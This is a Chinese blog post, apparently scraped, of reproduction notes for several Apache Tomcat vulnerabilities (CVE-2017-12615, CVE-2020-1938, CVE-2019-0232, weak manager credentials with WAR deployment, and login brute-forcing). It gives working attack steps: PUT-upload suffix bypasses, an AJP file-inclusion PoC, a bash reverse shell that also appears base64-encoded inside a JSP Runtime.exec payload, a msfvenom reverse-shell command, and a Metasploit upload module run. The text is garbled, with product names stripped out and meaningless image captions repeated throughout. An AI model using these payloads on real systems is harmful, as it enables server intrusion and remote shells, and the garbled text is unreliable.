干货资讯|最全Tomcat漏洞复现笔记

 2024-03-04 00:08:09  阅读 0

介绍

它是软件基金会( )的核心项目,由Sun与其他公司和个人共同开发。 由于Sun的参与和支持,最新的JSP和JSP规范总能在5中得到体现,支持最新的2.4和JSP 2.0规范。 由于其技术先进、性能稳定、免费,深受Java爱好者的喜爱和一些软件开发人员的认可,使其成为流行的Web应用服务器。

该服务器是一个免费开源的Web应用服务器,是一个轻量级的应用服务器。 常用于中小型系统以及并发访问用户不多的场合。 是开发、调试JSP程序的首选。 对于初学者来说,可以这样想:当一台机器上配置了服务器后,就可以用它来响应对HTML(标准通用标记语言下的一种应用)页面的访问请求。 它实际上是服务器的扩展,但它独立运行,因此当您运行它时,它实际上作为一个单独的进程运行。

诀窍是,如果配置正确,可以在实际运行 JSP 页面的同时提供 HTML 页面。 此外,与IIS和其他Web服务器一样,它具有处理HTML页面的功能。 另外,它也是一个JSP容器,独立容器是默认模式。 然而,处理静态HTML的能力不如服务器。 目前最新版本是10.0.5。

CVE-2017-12615

CVE-2017-12615对应的漏洞为任意文件写入,主要影响7.0.0-7.0.81版本。

漏洞原理

由于配置不当(非默认配置),配置文件conf/web.xml被设置为false。 这样一来,使用PUT方法就可以上传任何文件,但是jsp后缀的上传受到限制。

根据描述,在服务器下,当该参数设置为false时,可以通过PUT创建一个JSP文件,并可以执行任意代码。

通过阅读conf/web.xml文件,可以发现默认是true。 当设置为 false 时,可以通过 PUT / 执行文件操作

漏洞重现

这里使用的是用来重现漏洞的。 这里我们不详细介绍环境设置。

首先进入CVE-2017-12615的环境

sudo docker-compose up -ddocker ps    //查看docker环境是否启动成功

首先进去查看web.xml的代码。 可以看到设置为false,所以存在漏洞。

sudo docker exec -ti ec bash    //进入docker容器cat conf/web.xml | grep readonly

应用的类型_tomcat应用有几种方式_tomcat用途

访问8080端口,对应8.5.19

应用的类型_tomcat用途_tomcat应用有几种方式

抓包8080端口,发现是GET方式。

应用的类型_tomcat应用有几种方式_tomcat用途

我们先来测试一下。 改成PUT方法,写一个test.txt。 这里我们看到返回了201。 应该已经上传成功了。

PUT /test.txt HTTP/1.1testpoc

进入这里查看是否写入成功。

cd /usr/local/tomcat/webapps/ROOTls

前面说过,PUT方法可以上传任意文件,但是jsp后缀的上传是受到限制的。 这里,PUT方法用于直接上传Ice jsp。 发现返回404,应该拦截。

这里你需要绕过它。 有三种方法可以绕过它。

1.Windows下不允许文件以空格结尾PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格2.Windows NTFSPut/a001.jsp::$DATA HTTP/1.13. /在文件名中是非法的,也会被去除(Linux/WindowsPut/a001.jsp/http:/1.1

首先使用%20来绕过。 我们知道%20对应的是空格。 在文件中,在jsp后面添加%20可以达到自动擦除空格的效果。这里可以看到已经返回了201,上传成功了。

进去检查一下确保已经上传了。

tomcat用途_应用的类型_tomcat应用有几种方式

第二种方法是在jsp后缀后面使用/,因为/在文件名中是非法的,在Linux和Linux中会被自动去掉。 根据这个特征,上传/ice1.jsp/,看到返回201。

tomcat应用有几种方式_应用的类型_tomcat用途

进入查看发现已经上传成功。

第三种方法是使用NTFS流,在jsp后面添加::$DATA,看到返回201,上传成功。

输入验证

这里连接一个jsp就可以搞定了

CVE-2020-1938

CVE-2020-1938 是一个 AJP 文件包含漏洞。 该安全漏洞是长亭科技安全研究人员发现的。 由于AJP协议设计上的缺陷,攻击者可以通过AJP读取或包含所有目录下的任意文件,例如配置文件或源代码。

另外,如果目标应用程序具有文件上传功能,利用文件包含还可以达到远程执行代码的危害。

漏洞原理

配置了两个,分别是HTTP和AJP:HTTP的默认端口是8080,用于处理http请求,而AJP的默认端口是8009,用于处理AJP协议的请求。 AJP比http更加优化,多用于逆向、集群等,该漏洞是AJP协议缺陷造成的。 攻击者可以利用该漏洞读取服务器下的任意文件,并通过构造特定参数包含任意文件。 如果有上传点、上传图片等,攻击者就可以获得shell。

默认conf/.xml中配置了两个,一个是外部提供的HTTP协议端口8080,另一个是默认的8009 AJP协议端口。 两个端口默认监听外网IP。

tomcat应用有几种方式_tomcat用途_应用的类型

当收到 ajp 请求时,调用 org...ajp。 处理ajp消息,取出ajp的内容设置为对象的属性。

tomcat用途_应用的类型_tomcat应用有几种方式

因此,可以利用该特性来控制对象的以下三个属性。

javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path

然后封装成对应的之后,继续进行映射过程如下:

tomcat应用有几种方式_tomcat用途_应用的类型

漏洞重现

启动 CVE-2020-1938 的环境

首先使用POC来检测漏洞。 如果存在漏洞,可以查看该目录下的所有文件。

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lficd CNVD-2020-10487-Tomcat-Ajp-lfipython CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境

这里查看8009端口下的web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml

使用 bash 反弹 shell

bash -i >& /dev/tcp/192.168.1.8/8888 0>&1

因为是java,需要转换一下才能使用。 转换结果如下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

生成一个test.txt,这里只需要修改即可

<%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("
");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("

”);%>

bp抓包并上传test.txt到容器

tomcat用途_tomcat应用有几种方式_应用的类型

nc 启用端口监控

你可以获得一个交互式 shell

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt

这里为了方便,网上到msf来操作,先生成一个shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt

抓包并上传shell.txt到

tomcat应用有几种方式_应用的类型_tomcat用途

msf启用监控,请使用java/p

tomcat应用有几种方式_应用的类型_tomcat用途

然后使用poc反弹上线

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt

弱口令&战争远程部署漏洞原理

环境中进入后台默认密码为/。 如果不修改,可以未经授权进入后台。

漏洞重现

进入环境

应用的类型_tomcat用途_tomcat应用有几种方式

访问后台管理地址,使用 / 进入后台

http://192.168.1.8:8080//manager/html

已进入后台页面

tomcat用途_tomcat应用有几种方式_应用的类型

我看到有一个上传war包的地方。 这里很多java中间件都可以使用war远程部署来获取shell,它也不例外。

tomcat应用有几种方式_应用的类型_tomcat用途

首先将ice.jsp打包成test.war

jar -cvf test.war .

tomcat用途_应用的类型_tomcat应用有几种方式

点击上传,可以看到上传的test.war已经部署成功。

应用的类型_tomcat应用有几种方式_tomcat用途

如果访问时没有出现404错误,那么应该已经上传成功了。

tomcat用途_tomcat应用有几种方式_应用的类型

使用冰蝎连接获取外壳

您还可以在此处使用 msf 中的 /multi/http/ 模块。

use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run

tomcat应用有几种方式_应用的类型_tomcat用途

你可以通过运行获得一个

tomcat用途_tomcat应用有几种方式_应用的类型

CVE-2019-0232

CVE-2019-0232 是 RCE

漏洞原理

漏洞相关代码位于\java\org\\\\.java,提供了cgi调用接口。 当启用ts参数时,会根据RFC 3875从Url参数生成命令行参数,并将参数传递给Java执行。该漏洞是由于.().exec在中国和中国的底层实现不同造成的Linux。

Java 的 .().exec 在 CGI 调用的情况下难以进行命令注入。 创建过程中使用的进程会将参数合并成字符串传入,程序启动后调用获取参数并传入argv中,当参数为bat文件或cmd文件时,cmd.exe会被调用,所以最终会变成cmd.exe /c "arg.bat & dir",Java调用过程不做任何转换。 义,所以下面会有漏洞

漏洞重现

启动

tomcat应用有几种方式_tomcat用途_应用的类型

访问并已成功启动

应用的类型_tomcat应用有几种方式_tomcat用途

该组件默认关闭。 找到conf/web.xml中注释掉的部分,去掉注释,配置ts和

tomcat用途_应用的类型_tomcat应用有几种方式

这里注意,去掉注释,添加以下代码

enableCmdLineArguments启用后才会将Url中的参数传递到命令行executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。

            enableCmdLineArguments        true                executable            

tomcat应用有几种方式_tomcat用途_应用的类型

然后在conf/web.xml中启用cgi -

tomcat用途_tomcat应用有几种方式_应用的类型

修改conf/.xml添加==true”属性,否则没有权限

添加真

 privileged="true">

在C:\\ROOT\WEB-INF下创建cgi-bin目录

应用的类型_tomcat用途_tomcat应用有几种方式

在此目录下创建hello.bat

tomcat用途_tomcat应用有几种方式_应用的类型

然后重启环境

应用的类型_tomcat应用有几种方式_tomcat用途

访问:8080/cgi-bin/hello.bat?&C%3A%%%.exe 弹出计算器。 在这里构建系统命令即可

App暴力破解漏洞原理

后台密码经过编码传输。 可以通过抓包解密来获取后台密码,也可以爆破。

漏洞重现

访问这里:8000//html来抓包。 当您不输入帐户和密码时,不会有任何数据。

应用的类型_tomcat用途_tomcat应用有几种方式

如果你把这个包放过来,你会被要求输入你的用户名和密码,然后捕获这个包。

你可以得到这个字段。 这个字段有一个Basic,意思是加密。

应用的类型_tomcat用途_tomcat应用有几种方式

直接放在这里即可解密密码:

tomcat应用有几种方式_应用的类型_tomcat用途

进入后台再次抓包后可以看到有一个,但是少了这个字段。

tomcat用途_应用的类型_tomcat应用有几种方式

我们可以爆破字段并添加

应用的类型_tomcat用途_tomcat应用有几种方式

删除内置编码

tomcat用途_tomcat应用有几种方式_应用的类型

攻击获取账户密码

应用的类型_tomcat应用有几种方式_tomcat用途

点赞、转发、观看

标签: 漏洞 上传 端口

如本站内容信息有侵犯到您的权益请联系我们删除,谢谢!!


Copyright © 2020 All Rights Reserved 京ICP5741267-1号 统计代码